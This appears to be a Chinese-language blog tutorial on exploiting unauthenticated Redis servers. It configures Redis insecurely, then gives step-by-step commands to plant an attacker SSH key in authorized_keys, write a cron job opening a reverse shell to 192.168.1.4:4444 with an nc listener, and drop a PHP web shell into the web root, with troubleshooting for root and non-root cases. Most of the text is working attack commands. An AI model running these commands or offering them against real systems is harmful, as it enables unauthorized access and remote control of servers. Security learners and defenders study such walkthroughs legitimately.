Redis未授權訪問漏洞詳解

環境搭建

環境:centos7 gcc

1:下載安裝包
wget http://download.redis.io/releases/redis-3.2.6.tar.gz

2:解壓安裝包到指定文件
tar zxvf redis-3.2.6.tar.gz -C /usr/local

3:cd /usr/local/redis-3.2.6

4:make 進行編譯

5:cd src && make install

6:export PATH=$PATH: /usr/local/redis-3.2.6/src 添加環境變量

7:cd … &&vim redis.conf 修改protected-mode no使之可遠程登錄,修改daemonize yes使之可後臺運行,註釋bind 127.0.0.1使之可遠程登錄

8:redis-server /usr/local/redis-3.2.6/redis.conf 啓動redis,注意要指定配置文件
9: redis-cli -h 127.0.0.1 -p 6379 shutdown 關閉redis
以上爲默認配置,redis端口爲6379,沒有密碼,導致未授權訪問

root用戶啓動利用

1.ssh 密鑰登錄

1. ssh-keygen -t rsa
2. (echo -e "\n"; cat id_rsa.pub; echo -e "\n") > auth_key
3. cat auth_key | redis-cli -h hostname -x set crackit
4. redis-cli -h hostname
5. config set dir /root/.ssh/  
這裏設置目錄時,可能存在(error) ERR Changing directory: No such file or directory
這是因爲root從來沒有登錄過,在被攻擊機執行ssh localhost 即可
(error) ERR Changing directory: Permission denied
說明redis並不是以root啓動的
6. config set dbfilename "authorized_keys"
7. save

退出redis
8. ssh -i id_rsa root@redis_server 即可登錄成功

2.計劃任務反彈shell

1. redis-cli -h 192.168.1.8
2. set test "\n* * * * * bash -i >& /dev/tcp/192.168.1.4/4444 0>&1\n" 
3. config set dir /var/spool/cron
4. config  set dbfilename "root"
5. save

192.168.1.4 開啓監聽
6. nc -l 4444

普通用戶啓動利用

1.ssh 密鑰登錄

1. ssh-keygen -t rsa
2. (echo -e "\n"; cat id_rsa.pub; echo -e "\n") > auth_key
3. cat auth_key | redis-cli -h hostname -x set crackit
4. redis-cli -h hostname
5. config set dir /home/user/.ssh/  
這裏設置目錄時,可能存在(error) ERR Changing directory: No such file or directory
這是因爲user從來沒有登錄過,需要自己創建
6. config set dbfilename "authorized_keys"
7. save

退出redis
8. ssh -i id_rsa user@redis_server
這裏直接免密登錄可能仍會提示要求輸入密碼,查看被攻擊機的ssh連接日誌/var/log/secure
Authentication refused: bad ownership or modes for directory /home/sojrs
即被連接用戶的目錄權限存在問題,需要手工設置
原因:
sshd爲了安全,對屬主的目錄和文件權限有所要求。如果權限不對,則ssh的免密碼登陸不生效。
用戶目錄權限爲 755 或者 700,就是不能是77x,創建者必須爲user。
.ssh目錄權限一般爲755或者700。
rsa_id.pub 及authorized_keys權限一般爲644
rsa_id權限必須爲600
總的來說,如果是非root用戶啓動,比較雞肋,需要普通用戶事先配置好免密登錄的各項目錄及權限,否則很容易失敗

2.計劃任務反彈shell

1. redis-cli -h 192.168.1.8
2. set test "\n* * * * * bash -i >& /dev/tcp/192.168.1.4/4444 0>&1\n" 
3. config set dir /var/spool/cron
(error) ERR Changing directory: Permission denied
查看/var/spool/cron 目錄權限爲700,且爲root創建
即使該普通用戶具有sudo權限也不行

5. config  set dbfilename "root"
6. save
無法利用

Web服務寫馬

1. config set  dir /var/www/html/
2. config set  dbfilename shell.php
3.  set  cmd "<?php phpinfo(); ?>"
4. save

web服務寫馬需要知道web的安裝路徑
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章